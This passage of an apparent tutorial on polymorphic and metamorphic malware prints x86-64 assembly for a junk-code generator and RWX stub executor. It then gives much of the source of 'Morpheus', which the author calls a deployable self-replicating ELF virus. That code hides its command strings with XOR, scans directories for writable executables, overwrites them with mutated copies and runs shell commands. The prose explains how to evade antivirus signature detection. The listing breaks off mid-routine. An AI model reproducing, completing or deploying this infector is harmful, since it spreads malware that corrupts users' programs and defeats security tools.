    shl dl, 3
    mov ah, [rel reg_base]
    add ah, dl
    stosw
    ret

gen_rol_mem_16:
    call gen_jmp
    mov al, 0x48
    stosb
    mov ax, ROL_MEM_IMM
    add ah, [rel reg_base]
    stosw
    mov al, 16
    stosb
    ret

gen_ror_mem_16:
    call gen_jmp
    mov al, 0x48
    stosb
    mov al, 0xC1
    stosb
    mov al, 0x08
    add al, [rel reg_base]
    stosb
    mov al, 16
    stosb
    ret

; basic junk
trash:
    call yes_no
    test rax, rax
    jz .skip_push_pop

    movzx rax, byte [rel junk_reg1]            ; push/pop junk
    cmp al, 8
    jb .push_no_rex
    mov al, 0x41
    stosb
    movzx rax, byte [rel junk_reg1]
    sub al, 8
.push_no_rex:
    add al, PUSH_REG
    stosb

    movzx rax, byte [rel junk_reg2]
    cmp al, 8
    jb .pop_no_rex
    mov al, 0x41
    stosb
    movzx rax, byte [rel junk_reg2]
    sub al, 8
.pop_no_rex:
    add al, POP_REG
    stosb
.skip_push_pop:

    call gen_jmp
    ret

; jumps
gen_jmp:
    call yes_no
    test rax, rax
    jz .short_jmp
    mov al, JMP_REL32
    stosb
    mov eax, 1
    stosd
    call next_random
    and al, 0xFF
    stosb
    jmp .jmp_exit
.short_jmp:
    mov al, JMP_SHORT
    stosb
    mov al, 1
    stosb
    call next_random
    and al, 0xFF
    stosb
.jmp_exit:
    ret

; self-modifying junk
gen_self:
    mov al, CALL_REL32
    stosb
    mov eax, 3
    stosd
    mov al, JMP_REL32
    stosb
    mov ax, 0x04EB
    stosw

    call next_random
    and rax, 2
    lea rdx, [rel junk_reg1]
    movzx rdx, byte [rdx + rax]

    mov al, POP_REG
    add al, dl
    stosb
    mov al, 0x48
    stosb
    mov al, 0xFF
    stosb
    mov al, 0xC0
    add al, dl
    stosb
    mov al, PUSH_REG
    add al, dl
    stosb
    mov al, RET_OPCODE
    stosb
    ret

; advanced junk procedures
gen_trash:
    call yes_no
    test rax, rax
    jz .try_proc2

    mov al, CALL_REL32
    stosb
    mov eax, 2
    stosd
    mov ax, 0x07EB
    stosw
    mov al, 0x55
    stosb
    mov al, 0x48
    stosb
    mov al, 0x89
    stosb
    mov al, 0xE5
    stosb
    mov ax, FNINIT_OPCODE
    stosw
    mov al, 0x5D
    stosb
    mov al, RET_OPCODE
    stosb
    jmp .exit_trash

.try_proc2:
    call yes_no
    test rax, rax
    jz .try_proc3

    mov al, CALL_REL32
    stosb
    mov eax, 2
    stosd
    mov ax, 0x0AEB
    stosw
    mov al, 0x60
    stosb
    mov eax, 0xD12BC333
    stosd
    mov eax, 0x6193C38B
    stosd
    mov al, 0x61
    stosb
    mov al, RET_OPCODE
    stosb
    jmp .exit_trash

.try_proc3:
    call yes_no
    test rax, rax
    jz .exit_trash

    mov al, CALL_REL32
    stosb
    mov eax, 2
    stosd
    mov eax, 0x525010EB
    stosd
    mov ax, 0xC069
    stosw
    mov eax, 0x90
    stosd
    mov al, 0x2D
    stosb
    mov eax, 0xDEADC0DE
    stosd
    mov ax, 0x585A
    stosw
    mov al, RET_OPCODE
    stosb

.exit_trash:
    ret

; dummy procedures
gen_dummy:
    call yes_no
    test rax, rax
    jz .skip_dummy

    mov al, CALL_REL32
    stosb
    mov eax, 15
    stosd

    mov al, 0x48
    stosb
    mov al, TEST_REG_REG
    stosb
    mov al, 0xC0
    stosb

    mov al, JZ_SHORT
    stosb
    mov al, 8
    stosb

    mov al, 0x55
    stosb
    mov al, 0x48
    stosb
    mov al, 0x89
    stosb
    mov al, 0xE5
    stosb

    mov ax, FNINIT_OPCODE
    stosw
    mov ax, FNOP_OPCODE
    stosw

    call next_random
    and rax, 0xFF
    mov al, 0x48
    stosb
    mov al, 0xB8
    stosb
    stosq

    mov al, 0x5D
    stosb
    mov al, RET_OPCODE
    stosb

.skip_dummy:
    ret

; execute generated stub
exec_c:
    push rbp
    mov rbp, rsp
    sub rsp, 32
    push rbx
    push r12
    push r13
    push r14
    push r15

    mov r12, rdi                                ; stub code
    mov r13, rsi                                ; stub size
    mov r14, rdx                                ; payload data

    ; validate input
    test r12, r12
    jz .error
    test r13, r13
    jz .error
    cmp r13, 1
    jb .error
    cmp r13, 65536
    ja .error

    mov rax, 9                                  ; mmap
    mov rdi, 0
    mov rsi, r13
    add rsi, 4096                               ; padding
    mov rdx, 0x7                                ; rwx
    mov r10, 0x22                               ; private|anon
    mov r8, -1
    mov r9, 0
    syscall

    cmp rax, -1
    je .error
    test rax, rax
    jz .error
    mov rbx, rax

    ; copy stub to executable memory
    mov rdi, rbx
    mov rsi, r12
    mov rcx, r13
    rep movsb

    ; execute stub
    cmp rbx, 0x1000
    jb .error
    call rbx

    ; cleanup
    mov rax, 11                                 ; munmap
    mov rdi, rbx
    mov rsi, r13
    add rsi, 4096
    syscall

    mov rax, 1                                  ; success
    jmp .done

.error:
    xor rax, rax

.done:
    pop r15
    pop r14
    pop r13
    pop r12
    pop rbx
    add rsp, 32
    pop rbp
    ret

Current Limitations

At present, it is strictly limited to Linux x64 because of direct syscall dependencies: the mmap usage is customized for Linux, and register conventions are bound to x64. Porting to Windows would require adapting calling conventions and likely rewriting large parts of the engine logic. macOS has its own syscall numbers and memory protection details, so it would not run with simple changes.

The algorithm set is deliberately limited to four variants. This scale is sufficient to prove the concept without making the system overly complex or fragile. Expanding to dozens of equivalent variants is feasible but significantly increases the risk of introducing bugs and requires careful balancing of complexity and correctness.

There is currently no runtime recompilation mechanism: each variant is generated once and remains static during execution. Self-modifying variants could further improve evasion but introduce instability and substantially raise implementation cost.

Future directions could include:

Adding a syscall abstraction layer for true cross-platform support (Linux, Windows, macOS).
Expanding the algorithm set and improving encryption/obfuscation (currently quite crude in this area).
Building a dynamic rewriting engine that supports self-modifying payloads.

Even in its current form, it has already achieved the core goals: functional correctness, deep signature diversity, entropy-driven key generation, intelligent junk injection, and multi-layered polymorphic structure. Implementation details can vary, but these foundational principles remain stable.

This is a foundational polymorphic engine, intentionally designed to be “usable and clear.” You can use it first to understand the core techniques, then build upon it. Once you internalize these layers of entropy, obfuscation, and instruction encoding, you can take it in any direction you choose.

What Truly Makes Code Mutable

Metamorphic code is more than obfuscation — it rewrites itself. On every execution, it parses its own binary, locates mutable regions, and replaces them with semantically equivalent but syntactically different instruction sequences.

For a simple task like clearing a register, you can use XOR RAX, RAX, SUB RAX, RAX, MOV RAX, 0, or even PUSH 0; POP RAX. Same effect, different opcodes. To a static scanner, these are often unrelated.

A metamorphic engine exploits this by maintaining an instruction-level replacement catalog. Each iteration applies randomized transformations: register renaming, safe reordering of instructions, junk code insertion, and control-flow reconstruction. Logic remains unchanged, but layout continuously evolves.

Combined with replication propagation, each infected binary carries mutations from its “parent” and adds new mutations during infection. Over time, this creates a family of functionally equivalent but structurally distinct samples. No fixed signatures, no stable patterns — only continuous evolution at the opcode level. This is why it is often called “assembly heaven.”

Classic Reference: MetaPHOR

In 2002, there was a very solid article dissecting metamorphic engine structure: The Mental Driller’s “How I Made MetaPHOR and What I’ve Learned.” Yes, 2002 — ancient by today’s standards, but the core principles remain strikingly relevant. Some adaptation is needed for modern systems, but the underlying mechanisms are still solid.

Polymorphism focuses on camouflage: adjusting the decryptor, wrapping the payload, keeping the core static. Metamorphism discards the shell and directly modifies the interior. It disassembles complete code blocks, rewrites them from scratch, and reassembles the binary — producing new logical layouts, altered control flow, and shifted instruction patterns. Every landing looks different.

It is not just renaming registers or sprinkling NOPs. It is full-code-level mutation — deep structural churning that leaves no stable anchor points for static fingerprints.

— Disassembly and Shrinking —

To mutate, a virus (VX) must first disassemble itself into an internal pseudo-assembly format — a custom abstraction layer that makes original opcodes readable and transformable. It breaks apart its instruction stream, decodes jumps, calls, and conditional branches, then maps control flow into manageable data structures.

After disassembly, the code is written into a memory buffer. Pointer tables are built for jump targets, call destinations, and other critical control elements to ensure relationships are not broken during rewriting.

Next comes the shrinker. This stage scans for bloated instruction sequences and compresses them into minimal equivalent forms.

Original Instruction	Compressed Instruction	Description
MOV reg, reg	NOP	Dead operation with no effect
XOR reg, reg	MOV reg, 0	Clear the register

The shrinker’s job is to trim fat: fold redundant chains, clean up leftovers, and free space for the next round of mutation.

— Permutation and Expansion —

After shrinking comes the permutator. Its task is shuffling: reordering instructions and injecting entropy while keeping logic intact, making layout unpredictable.

It also replaces equivalent instructions: same result, different operation.

Following permutation is the expander — the opposite of the shrinker. It expands single instructions into equivalent two- or three-instruction sequences. Recursive expansion continuously increases code complexity.

Control variables impose hard limits to prevent unbounded growth.

Finally, the assembler finishes the job: it reassembles the mutated code back into valid machine code.

Only after completing this loop does the VX become a structurally unique but functionally complete new variant. Payload unchanged, appearance brand new.

— Generational Generation —

You have seen how we do this in polymorphism: injecting junk code and replacing registers. Metamorphic thinking is similar but goes much deeper.

When the VX completes its self-rewrite in memory, it writes the new variant back to disk. Every execution produces a “new copy” containing random junk code and rewritten logic.

vx-junk-disasm

Notice those JUNK macro calls? They are randomly scattered. Each is a marker — a hook point that can be safely modified. Smart Trash: deliberately useless, designed specifically to interfere with disassemblers and scanners.

We use a dedicated scanning function to handle them. It traverses the code, looks for PUSH/POP patterns on the same registers (spaced 8 bytes apart), and marks the hit locations. Once marked, these junk segments are overwritten with new, harmless, randomized replacement sequences.

This loop is the core. It hunts for JUNK sequences and replaces them with new random instruction chains on every run. Each JUNK call marks a modifiable slot — essentially a sandboxed code region for generational mutation. Behavior harmless, structure chaotic.

After mutation completes, the VX propagates by copying the new variant into executable files discovered in the same directory. The copy has changed structure but unchanged behavior. True polymorphic/metamorphic malware is not about “fooling AV once,” but about continuous mutation — reshaping the binary with every “breath.” As long as logic remains intact and structure keeps changing, static detection struggles to gain a foothold.

This is only the minimal viable set, covering the key mechanisms. It demonstrates the core path that allows VX code to mutate and survive. There is much more to deeper content, but this is the foundation.

Morpheus

Now it is time for the code I mentioned alongside Veil64 to make its appearance.

Morpheus applies metamorphic principles to a real, runnable virus infector. This is not a theoretical demonstration — it is practical and deployable. It shows how a mutation engine can work end-to-end without relying on encryptors or packers.

The core idea is simple: Morpheus treats its own executable code the way a crypter treats a payload. It loads itself into memory, scans for known patterns, applies transformations, then writes out a mutated version that accomplishes the same tasks with different instruction sequences.

On every run, Morpheus roughly does the following:

Extracts obfuscated strings and executes its logic
Loads its own .text section
Disassembles code blocks
Identifies mutation points (NOPs, junk patterns, simple MOV/XOR operations, etc.)
Applies transformations (register shuffling, instruction replacement, code block reordering or expansion)
Generates structurally different but logically consistent code
Writes the mutated binary to a new target (usually another ELF in the same directory)
Patches headers as needed to keep it executable

Every generation is truly different — not just added junk and register swaps, but substantive structural change — while the payload and functionality remain fully intact. This allows Morpheus to self-replicate on every execution, rendering static signature detection unreliable. Combined with runtime transformation and actual rewriting of files on disk, traditional scanning methods struggle to track it consistently.

Junk code is always a balancing act. In Veil64 we used relatively basic junk padding. Here is a 10-byte sequence that has zero net effect but can easily be mistaken for compiler-generated register preservation code:

PUSH RAX
PUSH RBX
XCHG RAX, RBX
XCHG RAX, RBX
POP RBX
POP RAX

Morpheus makes heavy use of such sequences. The JUNK macro marks these blocks, and on every execution the engine scans and replaces them with structurally different but functionally equivalent junk patterns.

We implemented four register combinations for smart junk patterns. Each variant follows the same logic but uses different register pairs, producing unique byte sequences. These variants are functionally identical with zero side effects, yet their binary signatures change completely.

String Encryption

All strings are encrypted to evade static signature detection. I used a simple XOR scheme: each string gets its own key, and decryption is a single XOR pass. Why XOR? Because it is fast.

Decryption runs once at startup. To add extra resistance, I included INT3 trap shellcode to disrupt debugger flow.

— Infection —

During the infection stage, we scan the directory for ELF binaries. The scanner performs several basic checks to filter out garbage files and retain only viable ELF executable targets (regular files, no hidden files, valid ELF magic, executable and writable permissions).

Before any overwrite, it creates a hidden backup prefixed with .morph8. If the backup already exists, infection is skipped — acting as an “already morphed” marker.

— Morpheus Engine —

;;
;;     M O R P H E U S   [ polymorphic ELF infector ]
;;     ------------------------------------------------
;;     stealth // mutation // syscall-only // junked //
;;     ------------------------------------------------
;;     0xBADC0DE // .morph8 // Linux x86_64 // 0xf00sec
;;

%define PUSH 0x50
%define POP 0x58
%define MOV 0xB8
%define NOP 0x90
%define REX_W 0x48
%define XCHG_OP 0x87
%define XCHG_BASE 0xC0

%define ADD_OP 0x01
%define AND_OP 0x21
%define XOR_OP 0x31
%define OR_OP 0x09
%define SBB_OP 0x19
%define SUB_OP 0x29

%define JUNKLEN 10

; push rax,rbx; xchg rax,rbx; xchg rax,rbx; pop rbx,rax
%macro JUNK 0
    db 0x50, 0x53, 0x48, 0x87, 0xC3, 0x48, 0x87, 0xC3, 0x5B, 0x58
%endmacro

section .data

; ELF header
ELF_MAGIC       dd 0x464C457F
ELF_CLASS64     equ 2
ELF_DATA2LSB    equ 1
ELF_VERSION     equ 1
ELF_OSABI_SYSV  equ 0
ET_EXEC         equ 2
ET_DYN          equ 3
EM_X86_64       equ 62

prefixes db ADD_OP, AND_OP, XOR_OP, OR_OP, SBB_OP, SUB_OP, 0

bin_name times 256 db 0
orig_exec_name times 256 db 0
msg_cat db " /\_/\ ",10
        db "( o.o )",10
        db " > ^ <",10,0                    ; payload
current_dir db "./",0
; encrypted strings
cmhd                db 0x36, 0x3D, 0x38, 0x3A, 0x31, 0x75, 0x7E, 0x2D, 0x75, 0x70, 0x26, 0x55     ; "chmod +x %s"
tchh                db 0xAF, 0xA4, 0xA1, 0xA3, 0xA8, 0xEC, 0xE7, 0xB4, 0xEC, 0xE9, 0xBF, 0xCC     ; "chmod +x %s"
touc                db 0xDE, 0xC5, 0xDF, 0xC9, 0xC2, 0x8A, 0x8F, 0xD9, 0xAA                         ; "touch %s"
cpcm                db 0x9C, 0x8F, 0xDF, 0xDA, 0x8C, 0xDF, 0xDA, 0x8C, 0xFF                         ; "cp %s %s"
hidd                db 0x59, 0x1A, 0x18, 0x05, 0x07, 0x1F, 0x4F, 0x77                               ; ".morph8"
exec                db 0x1D, 0x1C, 0x16, 0x40, 0x33                                                 ; "./%s"
vxxe                db 0xFE, 0xF0, 0xF0, 0x88                                                       ; "vxx"

xor_keys            db 0xAA, 0x55, 0xCC, 0x33, 0xFF, 0x88, 0x77
vierge_val          db 1                                                                           ; first generation marker
signme              dd 0xF00C0DE                                                                   ; PRNG seed

section .bss
    code            resb 65536      ; viral body
    codelen         resq 1
    vierge          resb 1          ; generation flag
    dir_buf         resb 4096
    temp_buf        resb 1024
    elf_header      resb 64

; runtime decrypted strings
touch_cmd_fmt resb   32
chmod_cmd_fmt resb   32
touch_chmod_fmt resb 32
exec_cmd_fmt resb    32
cp_cmd_fmt resb      32
vxx_str resb         8
hidden_prefix resb   16

section .text
    global _start

%define SYS_read      0
%define SYS_write     1
%define SYS_open      2
%define SYS_close     3
%define SYS_exit      60
%define SYS_lseek     8
%define SYS_getdents64 217
%define SYS_access    21
%define SYS_getrandom 318
%define SYS_execve    59
%define SYS_fstat     5
%define SYS_mmap      9
%define SYS_brk       12
%define SYS_fork      57
%define SYS_wait4     61

%define F_OK 0
%define X_OK 1
%define W_OK 2

%define O_RDONLY 0
%define O_WRONLY 1
%define O_RDWR   2
%define O_CREAT  64
%define O_TRUNC  512

%define PROT_READ  1
%define PROT_WRITE 2
%define MAP_PRIVATE 2
%define MAP_ANONYMOUS 32

section .rodata
    shell_path db "/bin/sh",0
    sh_arg0 db "sh",0
    sh_arg1 db "-c",0

; syscall wrappers with junk insertion

sys_write:
    mov rax, SYS_write
    JUNK
    syscall
    ret

sys_read:
    mov rax, SYS_read
    JUNK
    syscall
    ret

sys_open:
    mov rax, SYS_open
    JUNK
    syscall
    ret

sys_close:
    mov rax, SYS_close
    syscall
    ret

sys_lseek:
    mov rax, SYS_lseek
    syscall
    ret

sys_access:
    mov rax, SYS_access
    syscall
    ret

sys_getdents64:
    mov rax, SYS_getdents64
    syscall
    ret

sys_exit:
    mov rax, SYS_exit
    syscall

; validate ELF executable target
is_elf:
    push r12
    push r13

    mov rsi, O_RDONLY
    xor rdx, rdx
    call sys_open
    test rax, rax
    js .not_elf
    mov r12, rax

    mov rdi, r12
    mov rsi, elf_header
    mov rdx, 64
    call sys_read

    push rax
    mov rdi, r12
    call sys_close
    pop rax

    cmp rax, 64
    jl .not_elf

    ; validate ELF magic
    mov rsi, elf_header
    cmp dword [rsi], 0x464C457F
    jne .not_elf

    ; 64-bit only
    cmp byte [rsi + 4], 2
    jne .not_elf

    ; executable or shared object
    mov ax, [rsi + 16]
    cmp ax, 2
    je .valid
    cmp ax, 3
    jne .not_elf

.valid:
    mov rax, 1
    jmp .done

.not_elf:
    xor rax, rax

.done:
    pop r13
    pop r12
    ret

; string utilities

basename:                           ; extract filename from path
    mov rax, rdi
    mov rsi, rdi
.find_last_slash:
    mov bl, [rsi]
    cmp bl, 0
    je .done
    cmp bl, '/'
    jne .next_char
    inc rsi
    mov rax, rsi
    jmp .find_last_slash
.next_char:
    inc rsi
    jmp .find_last_slash
.done:
    ret

strlen:
    mov rdi, rdi
    xor rcx, rcx
.strlen_loop:
    cmp byte [rdi + rcx], 0
    je .strlen_done
    inc rcx
    jmp .strlen_loop
.strlen_done:
    mov rax, rcx
    ret

strcpy:
    mov rdi, rdi
    mov rsi, rsi
    mov rax, rdi
.cp_loop:
    mov bl, [rsi]
    mov [rdi], bl
    inc rdi
    inc rsi
    cmp bl, 0
    jne .cp_loop
    ret

strcmp:
    push rdi
    push rsi
.cmp_loop:
    mov al, [rdi]
    mov bl, [rsi]
    cmp al, bl
    jne .not_equal
    test al, al
    jz .equal
    inc rdi
    inc rsi
    jmp .cmp_loop
.equal:
    xor rax, rax
    jmp .done
.not_equal:
    movzx rax, al
    movzx rbx, bl
    sub rax, rbx
.done:
    pop rsi
    pop rdi
    ret

strstr:
    mov r8, rdi
    mov r9, rsi

    mov al, [r9]
    test al, al
    jz .found

.scan:
    mov bl, [r8]
    test bl, bl
    jz .not_found

    cmp al, bl
    je .check_match
    inc r8
    jmp .scan

.check_match:
    mov r10, r8
    mov r11, r9

.match_loop:
    mov al, [r11]
    test al, al
    jz .found

    mov bl, [r10]
    test bl, bl
    jz .not_found

    cmp al, bl
    jne .next_pos

    inc r10
    inc r11
    jmp .match_loop

.next_pos:
    inc r8
    jmp .scan

.found:
    mov rax, r8
    ret

.not_found:
    xor rax, rax
    ret

; PRNG
get_random:
    mov eax, [signme]
    mov edx, eax
    shr edx, 1
    xor eax, edx
    mov edx, eax
    shr edx, 2
    xor eax, edx
    mov [signme], eax
    ret

get_range:                          ; random in range 0-ecx
    call get_random
    xor edx, edx
    div ecx
    mov eax, edx
    ret

; decrypt string with indexed key
d_strmain:
    push rax
    push rbx
    push rcx
    push rdx
    push r8

    mov r8, xor_keys
    add r8, rcx
    mov al, [r8]

    mov rcx, rdx

    ; clear dest buffer
    push rdi
    push rcx
    mov rdi, rsi
    mov rcx, rdx
    xor bl, bl
    rep stosb
    pop rcx
    pop rdi

.d_loop:
    test rcx, rcx
    jz .d_done

    mov bl, [rdi]
    xor bl, al
    mov [rsi], bl

    inc rdi
    inc rsi
    dec rcx
    jmp .d_loop

.d_done:
    pop r8
    pop rdx
    pop rcx
    pop rbx
    pop rax
    ret

; decrypt all strings at runtime
d_str:
    push rdi
    push rsi
    push rdx
    push rcx

    mov rdi, touc
    mov rsi, touch_cmd_fmt
    mov rdx, 9
    mov rcx, 0
    call d_strmain

    mov rdi, cmhd
    mov rsi, chmod_cmd_fmt
    mov rdx, 12
    mov rcx, 1
    call d_strmain

    mov rdi, tchh
    mov rsi, touch_chmod_fmt
    mov rdx, 12
    mov rcx, 2
    call d_strmain

    mov rdi, exec
    mov rsi, exec_cmd_fmt
    mov rdx, 5
    mov rcx, 3
    call d_strmain

    mov rdi, cpcm
    mov rsi, cp_cmd_fmt
    mov rdx, 9
    mov rcx, 4
    call d_strmain

    mov rdi, vxxe
    mov rsi, vxx_str
    mov rdx, 4
    mov rcx, 5
    call d_strmain

    mov rdi, hidd
    mov rsi, hidden_prefix
    mov rdx, 8
    mov rcx, 6
    call d_strmain

    pop rcx
    pop rdx
    pop rsi
    pop rdi
    ret

; 4 variants
spawn_junk:
    push rbx
    push rcx
    push rdx
    push r8

    mov r8, rdi               ; dst buffer

    call get_random
    and eax, 3                ; 4 variants

    cmp eax, 0
    je .variant_0
    cmp eax, 1
    je .variant_1
    cmp eax, 2
    je .variant_2
    jmp .variant_3

.variant_0:
    ; push rax,rbx; xchg rax,rbx; xchg rax,rbx; pop rbx,rax
    mov byte [r8], 0x50
    mov byte [r8+1], 0x53
    mov byte [r8+2], 0x48
    mov byte [r8+3], 0x87
    mov byte [r8+4], 0xC3
    mov byte [r8+5], 0x48
    mov byte [r8+6], 0x87
    mov byte [r8+7], 0xC3
    mov byte [r8+8], 0x5B
    mov byte [r8+9], 0x58
    jmp .done

.variant_1:
    ; push rcx,rdx; xchg rcx,rdx; xchg rcx,rdx; pop rdx,rcx
    mov byte [r8], 0x51
    mov byte [r8+1], 0x52
    mov byte [r8+2], 0x48
    mov byte [r8+3], 0x87
    mov byte [r8+4], 0xCA
    mov byte [r8+5], 0x48
    mov byte [r8+6], 0x87
    mov byte [r8+7], 0xCA
    mov byte [r8+8], 0x5A
    mov byte [r8+9], 0x59
    jmp .done

.variant_2:
    ; push rax,rcx; xchg rax,rcx; xchg rax,rcx; pop rcx,rax
    mov byte [r8], 0x50
    mov byte [r8+1], 0x51
    mov byte [r8+2], 0x48
    mov byte [r8+3], 0x87
    mov byte [r8+4], 0xC1
    mov byte [r8+5], 0x48
    mov byte [r8+6], 0x87
    mov byte [r8+7], 0xC1
    mov byte [r8+8], 0x59
    mov byte [r8+9], 0x58
    jmp .done

.variant_3:
    ; push rbx,rdx; xchg rbx,rdx; xchg rbx,rdx; pop rdx,rbx
    mov byte [r8], 0x53
    mov byte [r8+1], 0x52
    mov byte [r8+2], 0x48
    mov byte [r8+3], 0x87
    mov byte [r8+4], 0xD3
    mov byte [r8+5], 0x48
    mov byte [r8+6], 0x87
    mov byte [r8+7], 0xD3
    mov byte [r8+8], 0x5A
    mov byte [r8+9], 0x5B

.done:
    pop r8
    pop rdx
    pop rcx
    pop rbx
    ret

; file I/O
read_f:
    push r12
    push r13
    push r14
    push r15

    mov r15, rsi            ; save buffer pointer

    mov rax, SYS_open
    mov rsi, O_RDONLY
    xor rdx, rdx
    syscall
    test rax, rax
    js .error

    mov r12, rax

    mov rax, SYS_fstat
    mov rdi, r12
    sub rsp, 144
    mov rsi, rsp
    syscall
    test rax, rax
    js .close_e

    mov r13, [rsp + 48]     ; file size from stat
    add rsp, 144

    ; bounds check
    cmp r13, 65536
    jle .size_ok
    mov r13, 65536
.size_ok:
    test r13, r13
    jz .empty

    xor r14, r14            ; bytes read cnt

.read_loop:
    mov rax, SYS_read
    mov rdi, r12
    mov rsi, r15
    add rsi, r14            ; offset into buffer
    mov rdx, r13
    sub rdx, r14            ; remaining bytes to read
    jz .read_done
    syscall

    test rax, rax
    jle .read_done          ; EOF or error
    add r14, rax
    cmp r14, r13
    jl .read_loop

.read_done:
    mov rax, SYS_close
    mov rdi, r12
    syscall

    mov rax, r14            ; return bytes read
    jmp .done

.empty:
    mov rax, SYS_close
    mov rdi, r12
    syscall
    xor rax, rax

.done:
    pop r15
    pop r14
    pop r13
    pop r12
    ret

.close_e:
    add rsp, 144
    mov rax, SYS_close
    mov rdi, r12
    syscall

.error:
    mov rax, -1
    pop r15
    pop r14
    pop r13
    pop r12
    ret

write_f:
    push rbp
    mov rbp, rsp
    push r12
    push r13
    push r14
    push r15

    mov r12, rdi            ; filename
    mov r13, rsi            ; buffer
    mov r14, rdx            ; size

    ; validate inputs
    test r12, r12
    jz .write_er
    test r13, r13
    jz .write_er
    test r14, r14
    jz .write_s

    mov rdi, r12
    mov rsi, O_WRONLY | O_CREAT | O_TRUNC
    mov rdx, 0755o
    call sys_open
    cmp rax, 0
    jl .write_er
    mov r12, rax            ; fd

    xor r15, r15            ; bytes written cnt

.write_lp:
    mov rdi, r12
    mov rsi, r13
    add rsi, r15            ; offset into buffer
    mov rdx, r14
    sub rdx, r15            ; remaining bytes
    jz .write_c
    call sys_write
    JUNK

    test rax, rax
    jle .r_close
    add r15, rax
    cmp r15, r14
    jl .write_lp

.write_c:
    mov rdi, r12
    call sys_close

.write_s:
    xor rax, rax            ; success
    pop r15
    pop r14
    pop r13
    pop r12
    pop rbp
    ret

.r_close:
    mov rdi, r12
    call sys_close
.write_er:
    mov rax, -1
    pop r15
    pop r14
    pop r13
    pop r12
    pop rbp
    ret

; instruction generator
trace_op:
    ; bounds check
    mov rax, [codelen]
    cmp rsi, rax
    jae .bounds_er

    mov r8, code
    add r8, rsi

    ; instruction size check
    mov rax, [codelen]
    sub rax, rsi
    cmp rax, 3
    jae .rex_xchg
    cmp rax, 2
    jae .write_prefix
    cmp rax, 1
    jae .write_nop

.bounds_er:
    xor eax, eax
    ret

.write_nop:
    mov byte [r8], NOP
    mov eax, 1
    ret

.write_prefix:
    ; validate register (0-3 only)
    cmp dil, 3
    ja .bounds_er

    call get_random
    and eax, 5
    movzx eax, byte [prefixes + rax]
    mov [r8], al

    call get_random
    and eax, 3              ; rax,rbx,rcx,rdx only
    shl eax, 3
    add eax, 0xC0
    add al, dil
    mov [r8 + 1], al

    mov eax, 2
    ret

.rex_xchg:
    ; generate REX.W XCHG
    cmp dil, 3
    ja .bounds_er

    ; get different register
    call get_random
    and eax, 3
    cmp al, dil
    je .rex_xchg            ; retry if same

    ; build REX.W XCHG r1, r2
    mov byte [r8], REX_W
    mov byte [r8 + 1], XCHG_OP

    ; ModR/M byte
    mov bl, XCHG_BASE
    mov cl, al
    shl cl, 3
    add bl, cl
    add bl, dil
    mov [r8 + 2], bl

    mov eax, 3
    ret

; instruction decoder
trace_jmp:
    push rbx
    push rcx

    cmp rsi, [codelen]
    jae .invalid

    mov r8, code
    mov al, [r8 + rsi]

    ; check for NOP
    cmp al, NOP
    je .ret_1

    ; check MOV+reg
    mov bl, MOV
    add bl, dil
    cmp al, bl
    je .ret_5

    ; check prefix instruction
    mov rbx, prefixes
.check_prefix:
    mov cl, [rbx]
    test cl, cl
    jz .invalid
    cmp cl, al
    je .check_second_byte
    inc rbx
    jmp .check_prefix

.check_second_byte:
    inc rsi
    cmp rsi, [codelen]
    jae .invalid

    mov al, [r8 + rsi]
    cmp al, 0xC0
    jb .invalid
    cmp al, 0xFF
    ja .invalid
    and al, 7
    cmp al, dil
    jne .invalid

.ret_2:
    mov eax, 2
    jmp .done
.ret_1:
    mov eax, 1
    jmp .done
.ret_5:
    mov eax, 5
    jmp .done
.invalid:
    xor eax, eax
.done:
    pop rcx
    pop rbx
    ret

; junk mutation engine
replace_junk:
    push r12
    push r13
    push r14
    push r15

    mov r8, [codelen]
    test r8, r8
    jz .done

    cmp r8, JUNKLEN
    jle .done

    sub r8, JUNKLEN
    mov r9, code
    xor r12, r12

.scan_loop:
    cmp r12, r8
    jae .done

    mov rax, [codelen]
    cmp r12, rax
    jae .done

    ; scan for junk pattern
    movzx eax, byte [r9 + r12]
    cmp al, PUSH
    jb .next_i
    cmp al, PUSH + 3        ; rax,rbx,rcx,rdx only
    ja .next_i

    ; second byte must be PUSH
    movzx ebx, byte [r9 + r12 + 1]
    cmp bl, PUSH
    jb .next_i
    cmp bl, PUSH + 3
    ja .next_i

    ; check REX.W prefix
    cmp byte [r9 + r12 + 2], REX_W
    jne .next_i

    ; check XCHG opcode
    cmp byte [r9 + r12 + 3], XCHG_OP
    jne .next_i

    ; validate complete sequence
    call validate
    test eax, eax
    jz .next_i

    ; replace with new junk
    call insert

.next_i:
    inc r12
    jmp .scan_loop

.done:
    pop r15
    pop r14
    pop r13
    pop r12
    ret

; validate junk pattern
validate:
    push rbx
    push rcx

    ; extract registers from PUSH
    movzx eax, byte [r9 + r12]
    sub al, PUSH
    mov bl, al              ; reg1

    movzx eax, byte [r9 + r12 + 1]
    sub al, PUSH
    mov cl, al              ; reg2

    ; registers must differ
    cmp bl, cl
    je .invalid

    ; check POP sequence (reversed)
    movzx eax, byte [r9 + r12 + 8]
    sub al, POP
    cmp al, cl
    jne .invalid

    movzx eax, byte [r9 + r12 + 9]
    sub al, POP
    cmp al, bl
    jne .invalid

    mov eax, 1              ; Valid sequence
    jmp .done

.invalid:
    xor eax, eax
.done:
    pop rcx
    pop rbx
    ret

; insert new junk sequence
insert:
    push rdi

    mov rdi, r9
    add rdi, r12
    call spawn_junk

    pop rdi
    ret

;; shell command execution
exec_sh:
    sub rsp, 0x40
    mov qword [rsp], sh_arg0_ptr
    mov qword [rsp+8], rdi
    mov qword [rsp+16], 0

    mov rsi, rsp
    xor rdx, rdx

    mov rdi, shell_path
    mov rax, SYS_execve
    syscall
    mov rdi, 1
    call sys_exit

sh_arg0_ptr: dq sh_arg0
sh_arg1_ptr: dq sh_arg1

list:                           ; scan directory for infection targets
    push rbp
    mov rbp, rsp
    push r12
    push r13
    push r14
    push r15

    mov r14, rsi

    mov rdi, current_dir
    mov rsi, O_RDONLY
    mov rdx, 0
    call sys_open
    cmp rax, 0
    jl .list_error
    mov r12, rax

.list_loop:
    mov rdi, r12
    mov rsi, dir_buf
    mov rdx, 4096
    call sys_getdents64
    cmp rax, 0
    je .list_done
    mov r13, rax

    xor r15, r15

.list_entry:
    cmp r15, r13
    jge .list_loop

    mov rdi, dir_buf
    add rdi, r15

    mov r8, rdi
    add r8, 16
    movzx rax, word [r8]    ; d_reclen at offset 16

    cmp rax, 19
    jl .skip_entry
    cmp rax, 4096
    jg .skip_entry

    push rax

    mov r8, rdi
    add r8, 18
    mov cl, [r8]

    cmp cl, 8
    jne .skip_entry

    add rdi, 19

    cmp byte [rdi], '.'
    jne .check_file
    mov r8, rdi
    inc r8
    cmp byte [r8], 0
